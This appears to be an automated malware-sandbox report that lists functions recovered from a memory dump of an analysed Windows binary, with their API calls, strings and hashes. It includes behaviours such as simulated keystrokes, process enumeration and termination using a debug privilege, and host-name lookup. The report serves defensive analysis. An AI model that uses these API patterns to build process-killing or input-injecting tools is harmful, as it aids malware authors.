Part of subcall function 00413A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004125B3), ref: 00413A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 004125BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 004125DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 004125DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 004125E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00412601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00412605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0041260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00412623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00412627

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: efea093be5c013b95220df7ecd8b53802dc810aadc59b434ce54661d7d9d4fb8
Instruction ID: 4899a6fb0d350c47be125b93783cc2f04327ccf893addce746cdefa0e7e7b8fb
Opcode Fuzzy Hash: efea093be5c013b95220df7ecd8b53802dc810aadc59b434ce54661d7d9d4fb8
Instruction Fuzzy Hash: 8E01D430391210BBFB106B699CCAF993F59DF4EB52F100016F318AE0D1C9E224848EAE

Function 00411803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00411449,?,?,00000000), ref: 0041180C
HeapAlloc.KERNEL32(00000000,?,00411449,?,?,00000000), ref: 00411813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00411449,?,?,00000000), ref: 00411828
GetCurrentProcess.KERNEL32(?,00000000,?,00411449,?,?,00000000), ref: 00411830
DuplicateHandle.KERNEL32(00000000,?,00411449,?,?,00000000), ref: 00411833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00411449,?,?,00000000), ref: 00411843
GetCurrentProcess.KERNEL32(00411449,00000000,?,00411449,?,?,00000000), ref: 0041184B
DuplicateHandle.KERNEL32(00000000,?,00411449,?,?,00000000), ref: 0041184E
CreateThread.KERNEL32(00000000,00000000,00411874,00000000,00000000,00000000), ref: 00411868

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 19bf8cacaaf99161d8716750727cb8438ccb54d781c8df98d9a1abe571d55500
Instruction ID: 9ccecfd3b6bd379a1d1c6012f95ccf5806400509f0dbae678c083d6ef8d9f5f5
Opcode Fuzzy Hash: 19bf8cacaaf99161d8716750727cb8438ccb54d781c8df98d9a1abe571d55500
Instruction Fuzzy Hash: 4F01AC75241304BFE650ABA5DC89F573B6CEB8AB11F044421FA05DB1A1C6749C008F24

Function 003E3E80 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003E3F0B
__alldvrm.LIBCMT ref: 003E410C
__alldvrm.LIBCMT ref: 003E412E

Strings

}}=, xrefs: 003E3E96, 003E3EF1, 003E3F0A, 003E4090
}}=, xrefs: 003E40CD
}}=, xrefs: 003E3E8A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID: }}=$}}=$}}=
API String ID: 1036877536-771141658
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 9edfcb615d612fbcc22844fb8dd464888e339bd743cbc6f9afaeedacfeb96694
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: E5A12672D002E69FDB178E1AC8917AAFBE4EF69350F1542ADE5859B2C1C2349D42C750

Function 0043A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0041D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0041D501
Part of subcall function 0041D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0041D50F
Part of subcall function 0041D4DC: CloseHandle.KERNELBASE(00000000), ref: 0041D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0043A16D
GetLastError.KERNEL32 ref: 0043A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0043A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0043A268
GetLastError.KERNEL32(00000000), ref: 0043A273
CloseHandle.KERNEL32(00000000), ref: 0043A2C4

Strings

SeDebugPrivilege, xrefs: 0043A18F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: e275ee026d130ae2cf152adb8fefda5dd53dacd5bd486db6985523d762edf8f9
Instruction ID: 2d0414676ee86f54c760025f1269954b420b7627d97b752695abbdd9795bb147
Opcode Fuzzy Hash: e275ee026d130ae2cf152adb8fefda5dd53dacd5bd486db6985523d762edf8f9
Instruction Fuzzy Hash: 3A61BF342442429FD720DF15C494F66BBE1AF48318F18849DE4A68FBA3C77AEC45CB96

Function 00443886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00443925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0044393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00443954
_wcslen.LIBCMT ref: 00443999
SendMessageW.USER32(?,00001057,00000000,?), ref: 004439C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 004439F4

Strings

SysListView32, xrefs: 004438F7

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 7a96ad779160243f7b108113637aff4379f2bac6035113b89176ef06d8515872
Instruction ID: 75e1a4c6a3c4a8fbca05aed3e61d89afc2e47cf3e8e65431971761136e42d0ef
Opcode Fuzzy Hash: 7a96ad779160243f7b108113637aff4379f2bac6035113b89176ef06d8515872
Instruction Fuzzy Hash: 5E41C371A00218ABEF219F64CC45BEB7BA9EF08750F10052BF958E7281D7759D80CB94

Function 0041BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0041BCFD
IsMenu.USER32(00000000), ref: 0041BD1D
CreatePopupMenu.USER32 ref: 0041BD53
GetMenuItemCount.USER32(00E859B0), ref: 0041BDA4
InsertMenuItemW.USER32(00E859B0,?,00000001,00000030), ref: 0041BDCC

Strings

0, xrefs: 0041BCA8
2, xrefs: 0041BD37

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 41d884ff71d02a3bcdec895c5a99e34cfbb3a93960d0377731552ee96baff134
Instruction ID: cb7d11838a69b93171643ccbce537f0e1090d7da4711704e543398325950d2ac
Opcode Fuzzy Hash: 41d884ff71d02a3bcdec895c5a99e34cfbb3a93960d0377731552ee96baff134
Instruction Fuzzy Hash: 6451BF70A00205ABDB19CFA9E8C4BEEBBF5EF49314F14416EE441D7390D7789981CB9A

Function 003D2D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 003D2D4B
___except_validate_context_record.LIBVCRUNTIME ref: 003D2D53
_ValidateLocalCookies.LIBCMT ref: 003D2DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 003D2E0C
_ValidateLocalCookies.LIBCMT ref: 003D2E61

Strings

csm, xrefs: 003D2DF6
&H=, xrefs: 003D2DFE, 003D2E07, 003D2E18

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &H=$csm
API String ID: 1170836740-1825882931
Opcode ID: 6072ca1b43d4e1f232ef885fe0f337ea4bb1eec8e8e1e8e13137dec9ff043269
Instruction ID: 86e4ca47e1e106977ae5892743878c07215b1f57997587e4345b02c232326f0d
Opcode Fuzzy Hash: 6072ca1b43d4e1f232ef885fe0f337ea4bb1eec8e8e1e8e13137dec9ff043269
Instruction Fuzzy Hash: EC41A436E00209ABCF12DF68E845A9FBBB5BF54314F158167E8246B352D7319E05CBD1

Function 004481DB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0040F3AB,00000000,?,?,00000000,?,0040682C,00000004,00000000,00000000), ref: 0044824C
EnableWindow.USER32(?,00000000), ref: 00448272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 004482D1
ShowWindow.USER32(?,00000004), ref: 004482E5
EnableWindow.USER32(?,00000001), ref: 0044830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0044832F

Strings

8Y, xrefs: 00448206, 00448252, 00448299, 004482D7, 004482EB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID: 8Y
API String ID: 642888154-2504371881
Opcode ID: e103869ae5b2967ea1ee8b3b2f2363f15b07ec1694072914ec15c2c3c771d942
Instruction ID: ef82a6dad947ae3f042d415408c2562ba2d74a5c6fddc57da9bac76281ff4ecd
Opcode Fuzzy Hash: e103869ae5b2967ea1ee8b3b2f2363f15b07ec1694072914ec15c2c3c771d942
Instruction Fuzzy Hash: EF41B434601644AFEB11CF15C899BED7BE0BB0A715F1842BEE9084B372CB76AC41CB58

Function 0041C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0041C913

Strings

warning, xrefs: 0041C8FC
question, xrefs: 0041C8CC
stop, xrefs: 0041C8E4
blank, xrefs: 0041C895
info, xrefs: 0041C8B4

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: a6c0f2f7418e9f964c882979897fd1218ead8c9103fe58b4f1c7c94810727b9f
Instruction ID: 738e5bef0a0a5fafaab3de3ab6d39bb64d6763a1c8542dcab7fb76363e5a797e
Opcode Fuzzy Hash: a6c0f2f7418e9f964c882979897fd1218ead8c9103fe58b4f1c7c94810727b9f
Instruction Fuzzy Hash: 28115B726D9706BBA7056B14ACC3DEF239CCF15364B20002BF404AE382D7785E8052AD

Function 0041DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 0041DE42
gethostname.WSOCK32(?,00000100), ref: 0041DE5C
gethostbyname.WSOCK32(?), ref: 0041DE69
inet_ntoa.WSOCK32(?), ref: 0041DEAB
_strcat.LIBCMT ref: 0041DEB9
WSACleanup.WSOCK32 ref: 0041DEDE

Strings

0.0.0.0, xrefs: 0041DE87

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 7319c57aa69a25745c895a13df82cd04a8f67ed5d3b69d0734ce97aae8550869
Instruction ID: cf87acaf3c7af18bc9e7b4675a91fc7499a58cebf7ad4d4466d2629be98faf12
Opcode Fuzzy Hash: 7319c57aa69a25745c895a13df82cd04a8f67ed5d3b69d0734ce97aae8550869
Instruction Fuzzy Hash: DC113672904205AFCB24BB30AC4AEEF77ACDF11712F04017BF4059A291EF788AC1CA58

Function 0041ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0041ED2A
_wcslen.LIBCMT ref: 0041ED3B
_wcslen.LIBCMT ref: 0041ED79
_wcslen.LIBCMT ref: 0041EDAF
_wcslen.LIBCMT ref: 0041EDDF
_wcslen.LIBCMT ref: 0041EDEF
_wcslen.LIBCMT ref: 0041EE2B
_wcslen.LIBCMT ref: 0041EE5A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 06f5d59f7d64faf30be5b7592e25142b4ae6df68760d7f49f80d594e025b1ac2
Instruction ID: 35152316ad8db58a07932cbf4688054dcbe8d8d0a157e56b5275571f0bbe6c54
Opcode Fuzzy Hash: 06f5d59f7d64faf30be5b7592e25142b4ae6df68760d7f49f80d594e025b1ac2
Instruction Fuzzy Hash: E5418466C1021876CB12EBB59C8B9CF77A8AF45710F504863F914E7222FB34E255C7E9

Function 003CF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0040682C,00000004,00000000,00000000), ref: 003CF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0040682C,00000004,00000000,00000000), ref: 0040F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0040682C,00000004,00000000,00000000), ref: 0040F454

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 61d6c536276c81a4f5f425bb7c87ea5ae5715534bb2ef9e1d8396eafd57ed167
Instruction ID: 4348a4535b0215f9cb5c5d663f5e6de501067dd952e6cf3444d347fe37c83ed4
Opcode Fuzzy Hash: 61d6c536276c81a4f5f425bb7c87ea5ae5715534bb2ef9e1d8396eafd57ed167
Instruction Fuzzy Hash: AE412C31214740BECF7A9B298888F2A7B97AB57314F19443EE447E69A0C736AC84CB15

Function 00442D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00442D1B
GetDC.USER32(00000000), ref: 00442D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00442D2E
ReleaseDC.USER32(00000000,00000000), ref: 00442D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00442D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00442D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00445A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00442DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00442DE1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 1a3b8a9f78713505ab00856357754e86acbde392b93ad6e25ccc3ef08477db40
Instruction ID: 44125365a9ca60cf48aa8d24c65fb3de5d9bb380c76762a7f0a921968fd967e8
Opcode Fuzzy Hash: 1a3b8a9f78713505ab00856357754e86acbde392b93ad6e25ccc3ef08477db40
Instruction Fuzzy Hash: 72317176102614BFFB514F50CC89FEB3FA9EF0A755F084065FE089A291C6B59C51C7A8

Function 00415622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00415637
_memcmp.LIBVCRUNTIME ref: 00415659
_memcmp.LIBVCRUNTIME ref: 00415671
_memcmp.LIBVCRUNTIME ref: 00415684
_memcmp.LIBVCRUNTIME ref: 0041569E
_memcmp.LIBVCRUNTIME ref: 004156B1
_memcmp.LIBVCRUNTIME ref: 004156C9
_memcmp.LIBVCRUNTIME ref: 004156E4

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: bf04dac1c368ea5c80acd0e14a52e3ad34c128e311783272030a736d676cd291
Instruction ID: 467e840e8e5af424e51cab694c3da4d8e0f0ad0187f2d4696fcc0dd4c5f9ec0a
Opcode Fuzzy Hash: bf04dac1c368ea5c80acd0e14a52e3ad34c128e311783272030a736d676cd291
Instruction Fuzzy Hash: 6D2195B6640A09FBE21555219D82FFB235CAEA1384F540023FD089E782F768ED5581ED

Function 00434FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 0043502E, 00435383
Not an Object type, xrefs: 00435007

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 86d58ec7d4a4e3500bf473a8cfa201b19ceb195847f623a9ea2696f01395cb10
Instruction ID: 4b995313861686ad055782eca81f75e68f2d00df3267f00b4e348635017a018e
Opcode Fuzzy Hash: 86d58ec7d4a4e3500bf473a8cfa201b19ceb195847f623a9ea2696f01395cb10
Instruction Fuzzy Hash: 3DD1C071A0060AAFDF14CFA8C880BAEB7B5BF48344F14906AE915AB381E775DD45CB94

Function 003F1522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,003F17FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 003F15CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,003F17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 003F1651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,003F17FB,?,003F17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 003F16E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,003F17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 003F16FB

Part of subcall function 003E3820: RtlAllocateHeap.NTDLL(00000000,?,00481444,?,003CFDF5,?,?,003BA976,00000010,00481440,003B13FC,?,003B13C6,?,003B1129), ref: 003E3852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,003F17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 003F1777
__freea.LIBCMT ref: 003F17A2
__freea.LIBCMT ref: 003F17AE

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 8e355a04a480975a6e8ce0f6303d6a0054184ad73710c3d8f3257a178f7415f1
